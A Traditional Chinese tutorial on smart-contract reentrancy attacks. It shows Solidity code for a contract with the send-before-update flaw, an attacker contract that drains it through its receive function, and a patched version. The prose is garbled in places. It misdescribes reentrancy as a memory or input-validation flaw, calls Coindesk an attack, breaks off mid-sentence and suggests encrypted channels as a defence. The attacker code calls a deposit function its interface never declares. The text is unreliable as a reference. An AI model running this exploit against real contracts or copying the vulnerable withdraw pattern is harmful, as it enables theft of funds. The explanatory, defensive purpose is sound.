什麼是重入攻擊及其工作原理?
區塊鏈技術已經發生了幾起涉及大量數字資產的引人注目的違規事件,統稱為“重入攻擊”。儘管此類事件最近發生的頻率有所下降,但它們對區塊鏈應用程序和最終用戶安全的潛在影響仍然值得注意。
可重入攻擊涉及利用軟件應用程序中的漏洞,這些漏洞允許重複執行惡意代碼,從而導致對系統的未經授權的訪問或控制。當應用程序無法正確管理內存資源或輸入驗證時,通常會發生這些攻擊,從而使攻擊者能夠操縱程序流並獲得提升的權限。為了降低重入攻擊的風險,開發人員必須確保對其代碼進行徹底的測試和驗證,實施安全編碼實踐,並遵守 OWASP(開放 Web 應用程序安全項目)等行業標準安全準則。此外,應及時應用定期更新和補丁來解決已知漏洞並防範新出現的威脅。
什麼是重入攻擊?
當易受攻擊的智能合約向惡意對手發起非法外部調用,臨時放棄對交易連續體的控制權時,就會發生重入攻擊。隨後,惡意合約在執行過程中不斷調用初始智能合約功能,同時耗盡其財務資源。
首先,驗證可用餘額;其次,將提取的金額轉入另一個賬戶;第三,相應地更新余額。然而,如果未經授權的一方在餘額更新之前獲得此週期的訪問權限,他們可能能夠通過重複提款來重複耗盡錢包的資金。
圖片來源:Etherscan
最臭名昭著的區塊鏈黑客攻擊之一是以太坊DAO 黑客攻擊,Coindesk 是一種重入攻擊,導致價值超過 6000 萬美元的 eth 損失,並從根本上改變了第二大加密貨幣的進程。
重入攻擊如何運作?
想像一家位於您所在社區的金融機構,受人尊敬的居民將他們的資金委託給其中;該機構的總流動資金達一百萬美元。然而,該銀行採用了不完善的會計協議,工作人員將更新客戶賬戶的時間推遲到夜幕降臨。
訪問該鎮後,您的熟人(同時也是投資者)發現財務記錄存在差異。為了證明該漏洞,他建立了一個銀行賬戶並轉賬了一百美元的初始金額。第二天,他提出了提取相同金額的請求。僅僅六十分鐘之內,他就再次重複了這個過程,儘管事實上之前的交易尚未得到機構的處理。因此,由於銀行未能更新其賬戶信息,該個人的可用資金繼續顯示為零餘額。因此,他多次成功取回所請求的金額,耗盡所有資產直至所剩無幾。只有在工作日結束時,在協調他們的領導後
在智能協議領域內,操作按以下方式執行:
惡意行為者發現了名為“X”的智能合約中的缺陷,這提供了利用的機會。
在發起針對合約 X 的真實交易後,意圖將資產轉移到惡意合約(表示為“Y”),後者在執行過程中繼續調用前者中的易受影響的功能。
X 合約執行的暫停取決於其與外部事件交互的需要,從而導致其功能暫時停止或延遲。
當程序X的執行暫時停止時,攻擊者可以通過多次調用來重複調用其中的易受影響函數的單個實例,從而導致該函數連續執行多次。
隨後每次輸入時,合約的內部配置都會發生修改,從而使惡意行為者能夠系統性地耗盡從賬戶 X 轉移到賬戶 Y 的資產。
一旦可用資源耗盡,進一步的進入就會停止,因為推遲的履行最終會實現,從而根據最近的重新訪問點更新協議的狀態。
在大多數情況下,惡意行為者能夠利用可重入漏洞謀取利益,從而導致未經授權從智能合約中刪除資產。
重入攻擊的示例
出於說明目的,提供了涉及對智能合約的重入攻擊的假設場景,利用合約內的可重入函數的示例。相關合約包含一個重新進入點,有助於重複執行某些操作,從而允許惡意行為者進行潛在的利用。
// Vulnerable contract with a reentrancy vulnerability
pragma solidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;
function deposit() public payable {
balances[msg.sender] \+= msg.value;
}
function withdraw(uint256 amount) public {
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
VulnerableContract 允許用戶利用其“存款”功能進行以太幣 (ETH) 存款。同時,用戶可以通過“提現”功能取回存入的資金。不幸的是,後一個操作很容易受到“withdraw”函數本身內的可重入漏洞的影響。具體來說,在發起提款請求後,合約會在修改賬戶餘額之前先將指定金額支付給用戶指定的接收人。這種主動行動暴露了一個安全漏洞,可能會被試圖利用這種情況的惡意行為者濫用。
可以提出惡意智能合約的假設示例以供檢查。
// Attacker's contract to exploit the reentrancy vulnerability
pragma solidity ^0.8.0;
interface VulnerableContractInterface {
function withdraw(uint256 amount) external;
}
contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;
constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}
// Function to trigger the attack
function attack() public payable {
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();
// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}
// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
function withdrawStolenFunds() public {
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
當攻擊發起時:
AttackerContract
類在初始化期間,通過其構造函數獲取 VulnerableContract
的地址,然後將其分配給 vulnerableContract
字段。
攻擊者調用目標智能合約的“存款”功能,注入指定數量的以太幣(ETH)作為輸入,然後在同一合約實例中立即執行“取款”功能。
VulnerableContract中的提現功能在調整賬戶餘額之前將指定數量的以太坊(ethereum)轉移到攻擊者的賬戶中,但由於攻擊者的智能合約在整個外部調用過程中一直處於暫停狀態,因此該操作尚未完全完成。被執行。
在 AttackerContract 中調用“receive”函數時,由於 VulnerableContract 在外部調用期間將 Ether 發送到此合約,因此會啟動該函數。
收到交易後,接收函數首先驗證 AttackerContract 的餘額是否足以用於預期的提款操作,這需要至少一個單位的以太幣。如果是這樣,隨後會再次調用有漏洞合約的提款函數,使攻擊者能夠重複利用此漏洞並耗盡合約資金,直到在代碼中實施充分的檢查以防止此類濫用。
只要漏洞合約繼續有可用資金並且攻擊者的合約沒有積累過多的以太幣,就重複步驟三到五。
最終,入侵者可以在“AttackerContract”的上下文中執行“withdrawStolenFunds”函數的功能,從而提取並保留受感染合約在其運行期間積累的任何資產。
攻擊發生的速度可能會有所不同,並考慮網絡效率等因素。在涉及復雜智能合約的情況下,例如臭名昭著的 DAO 黑客事件,它導致了以太坊和以太坊經典之間的分叉,攻擊往往會在幾個小時內展開。
如何防止重入攻擊
為了降低智能合約遭受重入攻擊的風險,我們必須遵守安全合約開發的既定準則。具體來說,我們將採用“檢查-效果-交互”(CEI)模式,如以下代碼片段所示。
// Secure contract with the "checks-effects-interactions" pattern
pragma solidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;
function deposit() public payable {
balances[msg.sender] \+= msg.value;
}
function withdraw(uint256 amount) public {
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;
// Perform the state change
balances[msg.sender] -= amount;
// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
在此更新版本中,我們引入了額外的機制來監控提款過程中個人賬戶的狀態。具體來說,我們利用一個名為的新屬性來確定特定帳戶是否有待處理的交易。當用戶發起提款請求時,智能合約通過變量檢查其可用性來驗證其帳戶的當前狀態。如果發現該帳戶被另一項正在進行的交易占用,則會對其進行標記,並立即通知用戶,在上一交易完成並解決之前,他們無法繼續執行所請求的操作。此措施旨在通過限制每個帳戶的並發操作來防止潛在的衝突並確保整個系統的完整性。
如果帳戶尚未鎖定,智能合約將繼續執行請求的狀態更新以及與外部系統的任何必要交互。在此過程之後,帳戶將再次解鎖,從而可以在將來進行進一步的提款交易。
重入攻擊的類型
圖片來源:Ivan Radic/Flickr
一般來說,重入攻擊存在三個主要類別,可以根據它們的利用方式進行分類。
“單次重入攻擊”的概念是指攻擊者針對容易在短時間內多次重入的函數的場景,每次調用都可能導致對系統的未經授權的訪問或控制。通過採用充分的保護措施(例如徹底的代碼檢查和適當的鎖定機制),開發人員可以有效減輕此類攻擊帶來的風險。
在跨功能攻擊中,惡意行為者利用被削弱的功能來調用同一智能合約中的另一個功能,該功能與受損功能共享公共狀態。由入侵者觸發的目標功能具有誘人的後果,使其更容易被利用。因此,識別和應對這些攻擊可能非常具有挑戰性,因此需要在相關職能之間進行嚴格的監控和保障措施,以盡量減少其影響。
當外部合約與易受影響的合約進行通信時,就會發生跨合約攻擊,其中後者的狀態在他們的交互過程中被過早地調用。通常,當多個合約共享公共資源並且其中某些合約魯莽地修改所述資源時,就會發生這種情況。為了消除這種威脅,必須採取嚴格的安全措施,例如採用加密通道進行通信以及對智能合約進行例行安全評估。
防止重入攻擊需要針對此類攻擊的各種表現形式實施不同的對策,因為它們包含不同的表現形式。
避免重入攻擊
由於重入漏洞的盛行,基於區塊鏈的應用程序經歷了重大的資金挫折以及信心的侵蝕。因此,開發人員在製定智能合約時必須嚴格遵守建議的指南,以防止此類安全漏洞。
為了加強對智能合約的保護,開發者應該採用可靠的提現機制,依賴信譽良好的庫,並執行全面的審計程序。此外,他們必須隨時了解不斷變化的安全風險,並積極採取先發製人的措施,以維護區塊鏈環境的整體完整性。